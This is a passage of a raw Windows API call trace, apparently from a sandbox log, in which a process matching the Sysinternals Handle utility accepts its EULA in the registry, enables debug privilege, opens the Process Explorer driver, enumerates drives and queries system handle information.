¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x12f380, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ쳌") returned 256 [0088.054] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ쳌", cchWideChar=256, lpMultiByteStr=0x12f9c0, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", lpUsedDefaultChar=0x0) returned 256 [0088.054] GetLastError () returned 0x0 [0088.054] SetLastError (dwErrCode=0x0) [0088.054] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x12f8c0, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0088.054] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x12f8c0, cbMultiByte=256, lpWideCharStr=0x12f590, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ") returned 256 [0088.054] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0088.054] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x12f380, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸ쳌") returned 256 [0088.054] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸ쳌", cchWideChar=256, lpMultiByteStr=0x12fac0, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9fH\x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02h\x02(\x02(\x02(\x02(\x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x81\x03\x81\x03\x81\x03\x81\x03\x81\x03\x81\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x82\x03\x82\x03\x82\x03\x82\x03\x82\x03\x82\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x10\x02\x10\x02\x10\x02\x10\x02 \x02", lpUsedDefaultChar=0x0) returned 256 [0088.054] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x8, Size=0x100) returned 0x2312c0 [0088.054] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x140010890) returned 0x0 [0088.055] RtlSizeHeap (HeapHandle=0x210000, Flags=0x0, MemoryPointer=0x2312c0) returned 0x100 [0088.055] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76f20000 [0088.055] GetProcAddress (hModule=0x76f20000, lpProcName="IsWow64Process") returned 0x76f291d0 [0088.055] GetCurrentProcess () returned 0xffffffffffffffff [0088.055] IsWow64Process (in: hProcess=0xffffffffffffffff, Wow64Process=0x12fef0 | out: Wow64Process=0x12fef0) returned 1 [0088.055] GetLastError () returned 0x0 [0088.055] SetLastError (dwErrCode=0x0) [0088.055] GetLastError () returned 0x0 [0088.055] SetLastError (dwErrCode=0x0) [0088.055] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Sysinternals", ulOptions=0x0, samDesired=0x101, phkResult=0x12fc10 | out: phkResult=0x12fc10*=0x0) returned 0x2 [0088.055] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Sysinternals", ulOptions=0x0, samDesired=0x101, phkResult=0x12fc10 | out: phkResult=0x12fc10*=0x7c) returned 0x0 [0088.056] RegQueryValueExW (in: hKey=0x7c, lpValueName="EulaAccepted", lpReserved=0x0, lpType=0x0, lpData=0x12fc40, lpcbData=0x12fc48*=0x4 | out: lpType=0x0, lpData=0x12fc40*=0x0, lpcbData=0x12fc48*=0x4) returned 0x2 [0088.056] RegCloseKey (hKey=0x7c) returned 0x0 [0088.056] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Sysinternals\\Handle", ulOptions=0x0, samDesired=0x101, phkResult=0x12fc10 | out: phkResult=0x12fc10*=0x7c) returned 0x0 [0088.056] RegQueryValueExW (in: hKey=0x7c, lpValueName="EulaAccepted", lpReserved=0x0, lpType=0x0, lpData=0x12fc40, lpcbData=0x12fc48*=0x4 | out: lpType=0x0, lpData=0x12fc40*=0x1, lpcbData=0x12fc48*=0x4) returned 0x0 [0088.056] RegCloseKey (hKey=0x7c) returned 0x0 [0088.056] GetLastError () returned 0x0 [0088.056] SetLastError (dwErrCode=0x0) [0088.056] GetLastError () returned 0x0 [0088.056] SetLastError (dwErrCode=0x0) [0088.056] RegCreateKeyW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Sysinternals\\Handle", phkResult=0x12fc38 | out: phkResult=0x12fc38*=0x7c) returned 0x0 [0088.056] RegSetValueExW (in: hKey=0x7c, lpValueName="EulaAccepted", Reserved=0x0, dwType=0x4, lpData=0x12fc30*=0x1, cbData=0x4 | out: lpData=0x12fc30*=0x1) returned 0x0 [0088.056] RegCloseKey (hKey=0x7c) returned 0x0 [0088.057] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x0) returned 1 [0088.057] GetCurrentProcess () returned 0xffffffffffffffff [0088.057] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x28, TokenHandle=0x12e3e0 | out: TokenHandle=0x12e3e0*=0x7c) returned 1 [0088.057] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeDebugPrivilege", lpLuid=0x12e3e8 | out: lpLuid=0x12e3e8*(LowPart=0x14, HighPart=0)) returned 1 [0088.337] AdjustTokenPrivileges (in: TokenHandle=0x7c, DisableAllPrivileges=0, NewState=0x12e3f0*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x10, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0088.337] GetLastError () returned 0x0 [0088.337] CloseHandle (hObject=0x7c) returned 1 [0088.337] GetLastError () returned 0x0 [0088.337] SetLastError (dwErrCode=0x0) [0088.337] GetLastError () returned 0x0 [0088.337] SetLastError (dwErrCode=0x0) [0088.337] CreateFileW (lpFileName="\\\\.\\PROCEXP152" (normalized: "\\device\\procexp152"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7c [0088.337] SeCaptureSubjectContext (in: SubjectContext=0xfffff88005233598 | out: SubjectContext=0xfffff88005233598) [0088.337] ExGetPreviousMode () returned 0xfffffa8004876101 [0088.337] SePrivilegeCheck (in: RequiredPrivileges=0xfffff880052335b8, SubjectSecurityContext=0xfffff88005233598, AccessMode=0x1 | out: RequiredPrivileges=0xfffff880052335b8) returned 1 [0088.337] SeReleaseSubjectContext (in: SubjectContext=0xfffff88005233598 | out: SubjectContext=0xfffff88005233598) [0088.337] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0088.338] GetModuleHandleW (lpModuleName="ntdll.dll") returned 0x77140000 [0088.338] GetProcAddress (hModule=0x77140000, lpProcName="NtQueryInformationProcess") returned 0x771914a0 [0088.338] GetModuleHandleW (lpModuleName="ntdll.dll") returned 0x77140000 [0088.338] GetProcAddress (hModule=0x77140000, lpProcName="NtQueryInformationThread") returned 0x77191560 [0088.338] GetModuleHandleW (lpModuleName="ntdll.dll") returned 0x77140000 [0088.338] GetProcAddress (hModule=0x77140000, lpProcName="NtQuerySystemInformation") returned 0x77191670 [0088.338] GetModuleHandleW (lpModuleName="ntdll.dll") returned 0x77140000 [0088.338] GetProcAddress (hModule=0x77140000, lpProcName="NtQuerySymbolicLinkObject") returned 0x771925d0 [0088.338] GetModuleHandleW (lpModuleName="ntdll.dll") returned 0x77140000 [0088.338] GetProcAddress (hModule=0x77140000, lpProcName="NtQueryDirectoryObject") returned 0x77192440 [0088.338] GetModuleHandleW (lpModuleName="ntdll.dll") returned 0x77140000 [0088.339] GetProcAddress (hModule=0x77140000, lpProcName="NtOpenSymbolicLinkObject") returned 0x77192310 [0088.339] GetModuleHandleW (lpModuleName="ntdll.dll") returned 0x77140000 [0088.339] GetProcAddress (hModule=0x77140000, lpProcName="NtOpenDirectoryObject") returned 0x77191890 [0088.339] GetModuleHandleW (lpModuleName="ntdll.dll") returned 0x77140000 [0088.339] GetProcAddress (hModule=0x77140000, lpProcName="NtQueryObject") returned 0x77191410 [0088.339] GetModuleHandleW (lpModuleName="ntdll.dll") returned 0x77140000 [0088.339] GetProcAddress (hModule=0x77140000, lpProcName="NtQuerySection") returned 0x77191820 [0088.339] GetModuleHandleW (lpModuleName="ntdll.dll") returned 0x77140000 [0088.339] GetProcAddress (hModule=0x77140000, lpProcName="RtlInitAnsiString") returned 0x77197f80 [0088.339] GetModuleHandleW (lpModuleName="ntdll.dll") returned 0x77140000 [0088.339] GetProcAddress (hModule=0x77140000, lpProcName="RtlInitUnicodeString") returned 0x77195280 [0088.339] GetModuleHandleW (lpModuleName="ntdll.dll") returned 0x77140000 [0088.339] GetProcAddress (hModule=0x77140000, lpProcName="RtlAnsiStringToUnicodeString") returned 0x77194e50 [0088.339] GetModuleHandleW (lpModuleName="ntdll.dll") returned 0x77140000 [0088.339] GetProcAddress (hModule=0x77140000, lpProcName="RtlFreeUnicodeString") returned 0x77195610 [0088.339] GetModuleHandleW (lpModuleName="ntdll.dll") returned 0x77140000 [0088.340] GetProcAddress (hModule=0x77140000, lpProcName="RtlFreeAnsiString") returned 0x77195610 [0088.340] GetModuleHandleW (lpModuleName="ntdll.dll") returned 0x77140000 [0088.340] GetProcAddress (hModule=0x77140000, lpProcName="RtlUnicodeStringToAnsiString") returned 0x77195c50 [0088.340] NtQuerySystemInformation (in: SystemInformationClass=0x40, SystemInformation=0x0, Length=0x0, ResultLength=0x0 | out: SystemInformation=0x0, ResultLength=0x0) returned 0xc0000004 [0088.340] GetLastError () returned 0x0 [0088.340] SetLastError (dwErrCode=0x0) [0088.340] GetLastError () returned 0x0 [0088.340] SetLastError (dwErrCode=0x0) [0088.340] GetDriveTypeW (lpRootPathName="A:\\") returned 0x1 [0088.340] GetLastError () returned 0x0 [0088.340] SetLastError (dwErrCode=0x0) [0088.340] GetLastError () returned 0x0 [0088.340] SetLastError (dwErrCode=0x0) [0088.340] GetDriveTypeW (lpRootPathName="B:\\") returned 0x1 [0088.340] GetLastError () returned 0x0 [0088.340] SetLastError (dwErrCode=0x0) [0088.340] GetLastError () returned 0x0 [0088.340] SetLastError (dwErrCode=0x0) [0088.340] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0088.341] GetLastError () returned 0x0 [0088.341] SetLastError (dwErrCode=0x0) [0088.341] GetLastError () returned 0x0 [0088.341] SetLastError (dwErrCode=0x0) [0088.341] RtlInitUnicodeString (in: DestinationString=0x12dac0, SourceString="\\DosDevices\\C:" | out: DestinationString="\\DosDevices\\C:") [0088.341] NtOpenSymbolicLinkObject (in: SymbolicLinkHandle=0x12db00, DesiredAccess=0x20001, ObjectAttributes=0x12db10 | out: SymbolicLinkHandle=0x12db00*=0xc0) returned 0x0 [0088.341] NtQuerySymbolicLinkObject (in: SymLinkObjHandle=0xc0, LinkTarget=0x12dbe0, DataWritten=0x12db08 | out: LinkTarget="\\Device\\HarddiskVolume1", DataWritten=0x12db08) returned 0x0 [0088.341] CloseHandle (hObject=0xc0) returned 1 [0088.341] RtlInitUnicodeString (in: DestinationString=0x12dac0, SourceString="\\Device\\HarddiskVolume1" | out: DestinationString="\\Device\\HarddiskVolume1") [0088.341] NtOpenSymbolicLinkObject (in: SymbolicLinkHandle=0x12db00, DesiredAccess=0x20001, ObjectAttributes=0x12db10 | out: SymbolicLinkHandle=0x12db00*=0x0) returned 0xc0000024 [0088.341] GetLastError () returned 0x0 [0088.341] SetLastError (dwErrCode=0x0) [0088.341] GetLastError () returned 0x0 [0088.341] SetLastError (dwErrCode=0x0) [0088.341] GetDriveTypeW (lpRootPathName="D:\\") returned 0x1 [0088.341] GetLastError () returned 0x0 [0088.341] SetLastError (dwErrCode=0x0) [0088.341] GetLastError () returned 0x0 [0088.341] SetLastError (dwErrCode=0x0) [0088.341] GetDriveTypeW (lpRootPathName="E:\\") returned 0x1 [0088.342] GetLastError () returned 0x0 [0088.342] SetLastError (dwErrCode=0x0) [0088.342] GetLastError () returned 0x0 [0088.342] SetLastError (dwErrCode=0x0) [0088.342] GetDriveTypeW (lpRootPathName="F:\\") returned 0x1 [0088.342] GetLastError () returned 0x0 [0088.342] SetLastError (dwErrCode=0x0) [0088.342] GetLastError () returned 0x0 [0088.342] SetLastError (dwErrCode=0x0) [0088.342] GetDriveTypeW (lpRootPathName="G:\\") returned 0x1 [0088.342] GetLastError () returned 0x0 [0088.342] SetLastError (dwErrCode=0x0) [0088.342] GetLastError () returned 0x0 [0088.342] SetLastError (dwErrCode=0x0) [0088.342] GetDriveTypeW (lpRootPathName="H:\\") returned 0x1 [0088.342] GetLastError () returned 0x0 [0088.342] SetLastError (dwErrCode=0x0) [0088.342] GetLastError () returned 0x0 [0088.342] SetLastError (dwErrCode=0x0) [0088.342] GetDriveTypeW (lpRootPathName="I:\\") returned 0x1 [0088.343] GetLastError () returned 0x0 [0088.343] SetLastError (dwErrCode=0x0) [0088.343] GetLastError () returned 0x0 [0088.343] SetLastError (dwErrCode=0x0) [0088.343] GetDriveTypeW (lpRootPathName="J:\\") returned 0x1 [0088.343] GetLastError () returned 0x0 [0088.343] SetLastError (dwErrCode=0x0) [0088.343] GetLastError () returned 0x0 [0088.343] SetLastError (dwErrCode=0x0) [0088.343] GetDriveTypeW (lpRootPathName="K:\\") returned 0x1 [0088.343] GetLastError () returned 0x0 [0088.343] SetLastError (dwErrCode=0x0) [0088.343] GetLastError () returned 0x0 [0088.343] SetLastError (dwErrCode=0x0) [0088.343] GetDriveTypeW (lpRootPathName="L:\\") returned 0x1 [0088.344] GetLastError () returned 0x0 [0088.344] SetLastError (dwErrCode=0x0) [0088.344] GetLastError () returned 0x0 [0088.344] SetLastError (dwErrCode=0x0) [0088.344] GetDriveTypeW (lpRootPathName="M:\\") returned 0x1 [0088.344] GetLastError () returned 0x0 [0088.344] SetLastError (dwErrCode=0x0) [0088.344] GetLastError () returned 0x0 [0088.344] SetLastError (dwErrCode=0x0) [0088.344] GetDriveTypeW (lpRootPathName="N:\\") returned 0x1 [0088.344] GetLastError () returned 0x0 [0088.344] SetLastError (dwErrCode=0x0) [0088.344] GetLastError () returned 0x0 [0088.344] SetLastError (dwErrCode=0x0) [0088.344] GetDriveTypeW (lpRootPathName="O:\\") returned 0x1 [0088.344] GetLastError () returned 0x0 [0088.344] SetLastError (dwErrCode=0x0) [0088.344] GetLastError () returned 0x0 [0088.344] SetLastError (dwErrCode=0x0) [0088.344] GetDriveTypeW (lpRootPathName="P:\\") returned 0x1 [0088.344] GetLastError () returned 0x0 [0088.344] SetLastError (dwErrCode=0x0) [0088.345] GetLastError () returned 0x0 [0088.345] SetLastError (dwErrCode=0x0) [0088.345] GetDriveTypeW (lpRootPathName="Q:\\") returned 0x1 [0088.345] GetLastError () returned 0x0 [0088.345] SetLastError (dwErrCode=0x0) [0088.345] GetLastError () returned 0x0 [0088.345] SetLastError (dwErrCode=0x0) [0088.345] GetDriveTypeW (lpRootPathName="R:\\") returned 0x1 [0088.345] GetLastError () returned 0x0 [0088.345] SetLastError (dwErrCode=0x0) [0088.345] GetLastError () returned 0x0 [0088.345] SetLastError (dwErrCode=0x0) [0088.345] GetDriveTypeW (lpRootPathName="S:\\") returned 0x1 [0088.345] GetLastError () returned 0x0 [0088.345] SetLastError (dwErrCode=0x0) [0088.345] GetLastError () returned 0x0 [0088.345] SetLastError (dwErrCode=0x0) [0088.345] GetDriveTypeW (lpRootPathName="T:\\") returned 0x1 [0088.345] GetLastError () returned 0x0 [0088.346] SetLastError (dwErrCode=0x0) [0088.346] GetLastError () returned 0x0 [0088.346] SetLastError (dwErrCode=0x0) [0088.346] GetDriveTypeW (lpRootPathName="U:\\") returned 0x1 [0088.346] GetLastError () returned 0x0 [0088.346] SetLastError (dwErrCode=0x0) [0088.346] GetLastError () returned 0x0 [0088.346] SetLastError (dwErrCode=0x0) [0088.346] GetDriveTypeW (lpRootPathName="V:\\") returned 0x1 [0088.346] GetLastError () returned 0x0 [0088.346] SetLastError (dwErrCode=0x0) [0088.346] GetLastError () returned 0x0 [0088.346] SetLastError (dwErrCode=0x0) [0088.346] GetDriveTypeW (lpRootPathName="W:\\") returned 0x1 [0088.346] GetLastError () returned 0x0 [0088.346] SetLastError (dwErrCode=0x0) [0088.346] GetLastError () returned 0x0 [0088.346] SetLastError (dwErrCode=0x0) [0088.346] GetDriveTypeW (lpRootPathName="X:\\") returned 0x1 [0088.346] GetLastError () returned 0x0 [0088.346] SetLastError (dwErrCode=0x0) [0088.347] GetLastError () returned 0x0 [0088.347] SetLastError (dwErrCode=0x0) [0088.347] GetDriveTypeW (lpRootPathName="Y:\\") returned 0x1 [0088.347] GetLastError () returned 0x0 [0088.347] SetLastError (dwErrCode=0x0) [0088.347] GetLastError () returned 0x0 [0088.347] SetLastError (dwErrCode=0x0) [0088.347] GetDriveTypeW (lpRootPathName="Z:\\") returned 0x1 [0088.347] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x4000) returned 0x238b10 [0088.347] NtQuerySystemInformation (in: SystemInformationClass=0x40, SystemInformation=0x238b10, Length=0x4000, ResultLength=0x12e420 | out: SystemInformation=0x238b10, ResultLength=0x12e420*=0x75ab8) returned 0xc0000004 [0088.352] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x238b10 | out: hHeap=0x210000) returned 1 [0088.352] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x8000) returned 0x238b10 [0088.352] NtQuerySystemInformation (in: SystemInformationClass=0x40, SystemInformation=0x238b10, Length=0x8000, ResultLength=0x12e420 | out: SystemInformation=0x238b10, ResultLength=0x12e420*=0x75ab8) returned 0xc0000004 [0088.355] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x238b10 | out: hHeap=0x210000) returned 1 [0088.355] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x10000) returned 0x238b10 [0088.355] NtQuerySystemInformation (in: SystemInformationClass=0x40, SystemInformation=0x238b10, Length=0x10000, ResultLength=0x12e420 | out: SystemInformation=0x238b10, ResultLength=0x12e420*=0x75ab8) returned 0xc0000004 [0088.359] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x238b10 | out: hHeap=0x210000) returned 1 [0088.359] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x20000) returned 0x238b10 [0088.359] NtQuerySystemInformation (in: SystemInformationClass=0x40, SystemInformation=0x238b10, Length=0x20000, ResultLength=0x12e420 | out: SystemInformation=0x238b10, ResultLength=0x12e420*=0x75ab8) returned 0xc0000004 [0088.365] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x238b10 | out: hHeap=0x210000) returned 1 [0088.365] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x40000) returned 0x238b10 [0088.365] NtQuerySystemInformation (in: SystemInformationClass=0x40, SystemInformation=0x238b10, Length=0x40000, ResultLength=0x12e420 | out: SystemInformation=0x238b10, ResultLength=0x12e420*=0x75f18) returned 0xc0000004 [0088.560] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x238b10 | out: hHeap=0x210000) returned 1 [0088.560] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x80000) returned 0x1ea0080 [0088.561] NtQuerySystemInformation (in: SystemInformationClass=0x40, SystemInformation=0x1ea0080, Length=0x80000, ResultLength=0x12e420 | out: SystemInformation=0x1ea0080, ResultLength=0x12e420*=0x75e28) returned 0x0 [0088.582] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x4000) returned 0x238b10 [0088.582] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x238b10, Length=0x4000, ResultLength=0x12e420 | out: SystemInformation=0x238b10, ResultLength=0x12e420*=0x13f00) returned 0xc0000004 [0088.583] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x238b10 | out: hHeap=0x210000) returned 1 [0088.583] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x8000) returned 0x238b10 [0088.583] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x238b10, Length=0x8000, ResultLength=0x12e420 | out: SystemInformation=0x238b10, ResultLength=0x12e420*=0x13f00) returned 0xc0000004 [0088.583] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x238b10 | out: hHeap=0x210000) returned 1 [0088.583] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0xc000) returned 0x238b10 [0088.583] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x238b10, Length=0xc000, ResultLength=0x12e420 | out: SystemInformation=0x238b10, ResultLength=0x12e420*=0x13f00) returned 0xc0000004 [0088.583] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x238b10 | 